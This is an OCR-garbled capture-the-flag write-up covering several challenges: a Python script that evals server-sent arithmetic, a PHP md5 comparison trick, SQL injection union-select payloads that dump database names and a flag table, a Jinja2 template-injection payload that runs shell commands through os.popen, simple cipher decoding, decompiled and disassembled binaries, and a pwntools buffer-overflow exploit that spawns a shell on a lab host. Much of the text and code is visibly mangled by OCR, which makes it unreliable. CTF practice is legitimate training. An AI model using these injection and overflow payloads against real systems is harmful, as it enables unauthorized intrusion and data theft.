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In LBUl: | 1RPOTT requests

import time

url = "http://10.129. 2. 227:49002/

url_ret = requests.get(url)

text = subString? (url_ret. text)

result = eval (text)

cookies = url_ret. cockies [’ PHPSESSID' ]

headers = |
Thooept’ o text/html, application/xhtml+xml, application/xml ; q=0. 9, inage/webp, */+; q=0. 87,
"hecept-Enceding’ i gzip, deflate, sdeh’,
"heccept-Language’ 1’ zh-CN, zh; g=0. 8,
"Cormection’ : keep-alive’,
'Cache—Control’ : no—cache’,
"Content-Length' " 77,
"Content-Type’ : application/z—www—form—urlenceded’,
"Host’ 7100 129, 2. 227 :490027,
"Pragna’ : no—cache’,
‘Origin’ " http://10.129, 2, 227:490027,
'Upgrade-Insecure-Requests’ :'17,
‘User—hgent’ :'Mozilla/5.0 (Windows NT 10.0; WOW&4) ippleWebKit/B537.36 (KHTML, like Gecke) Chrome/S6.0.2024. 87 Safari/537.38°,
'E-Requested-¥ith :” IMLHttpRecuest’
"Referer’: "http://10.129. 2. 227:48002/

1

dic = { ans’ :result}

headers [ Cookie’ ]=" PHPSESSID=" +cookies

time. sleep (1)

ret? = requests. poest (url, headers=headers, data=dic)

printi{retZ. text)

In [61]: while(True):
time. sleep (1)
text = subString2(retZ. text)
dic[’ ans’ J=eval (text)
retZ = requests. post(url, headers=headers, data=dic)
print (ret?. text)

In [9]: def subStringZitemplate) :
rule = r’ <span>(. *? = zpan>’
zlotlist = re.findallirule, template)
return slotlist[0]
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<?php
header("content-type:text/html;charset=utf-8");
$a = @$_GET['a'];
$b = @$_GET['b'];
$c = @$_GET['c'];
$a md5 = @md5($a);
$b md5 = @md5($b);
if(isset($a) && isset($b)){
if ($a !'= $b && $a _md5 == $b md5) {
if (($c<9999999999 || (string)$c>0)==false)
echo "xgctf{xxxxxxx}";
¥
else {
echo "Sorry, just think more";
¥
} else {

"Sorry, you are wrong";
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B3  1'union select 1,2,3,4,5 database(),user() #,
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1’ or 1=1 order by 7 #7] LA &IIEH 75

1’ union select 1,2,3,4,5,user(),database() ## % & £ school

1’ union select 1,2,3,4,5,6,table_name from information_schema.tables where table _schema= ‘school'#15 Zltable_name
1’ union select 1,2,3,4,5,6 flag from flag #& | =7 Bt 4 & flag B AT
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{% for c in []. class_ . base . subclasses () %}

{% if c.__name__ == 'catch _warnings' %}
{% for b in c. init . globals .values() %}
{% if b._class == {}._ class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']("'_dimport_ ("os").popen("1ls").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

F B Hflagix N3 catz j515 Flflag
easy crypto

a3RwZ3N7b25mcl82NFOUYXFfZTBnXzEZfQ==
base64f# % J5 ktpgs{onfr 64 naq_eOg_13} % &flag {Hflag/&xgctiFF kK
ktpgsFIxgcti:™ B 1a] AH 2 13813 BT Az AN B 18] 1) BT 7T B8 285 IR & (#4)

bAcOn
WA R IR INE KRS F81/MNE F 80 4R 5 ZEhttp://rumkin.com/tools/cipher/baconian.phpf# 2 #i 1T

easy re
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sub 411221 (8unk_41C@a84);
1| strepy(v3z, "hang_dian_xin_gong ctfl!™);
= 16;

L

13;

19;

57;
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v 92;
sub_411154("%s", (unsigned int)ve);
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for ( 1 =8; 1 < 24; H1)
v7[1] = *(&vE + 1) ™ wE[i];
for ( 1 =8; ] < 24; +7 )

oA
! if ( w7[3] t=w32[3] )
' 1

sub_41184B({"You should try again!\n", v3);
system("pause™);

((void (*)(void))sub 41122B)();

goto LABEL_18;

}

1
sub_41184B({"The flag is your input!\n", v3);
i system(“pause™);
I ((void (*)(wvoid))sub 41122B)();
||LABEL 1@:
vl = vi;
sub_41124€ (&=azvedregs, &dword_411AE@, @);
return sub_41122B((unsigned int)&savedregs ~ w33, vl);
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LEext:000000000000071A

LCext:000000000000071A public main

LEext:000000000000071A main proc near ;7 DATA XREF: tart+1D1
LEext:000000000000071A

LEext:0000000000000718 buf = byte ptr -0Ch

LLext:000000000000071A var_4 = dword ptr -4

Ltext:000000000000071A

LLext:000000000000071A push rbp
LEext:000000000000071E mow rbp, rsp
LCext:000000000000071E sub rsp, 10h
Jtext:0000000000000722 mowv [rbp+var_47,
JLext:0000000000000729 lea rax, [rbp+buf]
Jtext:0000000000000720 mowv edx, 0Ch ;i nbytes
JLext:0000000000000732 mow rsi, rax ; buf
Ltext:0000000000000735 mowv edi, O ;7 €
LCext:000000000000073A call _read
JEext:000000000000073F mowv eax, [rbp+var_4]
JLext:0000000000000742 mow esi, eax
Jtext:0000000000000744 lea rdi, format HELE 1= A%
JLext:000000000000074B8 mow eax, 0
L.text:0000000000000730 call _printf
JLext:0000000000000735 cmp [rhptvar_4],
LEext:000000000000075C inz short loc_76C
Lext:000000000000073E lea rdi, command ; "sh"
LEext:0000000000000765 call _system

LEext:000000000000076A Jmp short loc_778
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Fd getshell

XARBATH E b Hutik & 08048466
Wt ik A EBPIXAME 2% hitps://mww.jianshu.com/p/7f18c0db8e68
Fipeda ™l LASE % HHH 20
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# coding=utf-8

from pwn import *

sh = remote("10.129.2.227",10083)
#junk = 'a'*20@

#payload = junk + p32(0x8048466)
payload = 'a'*8+p64(0x7e3)
sh.send(payload)

sh.interactive()

drop the beats
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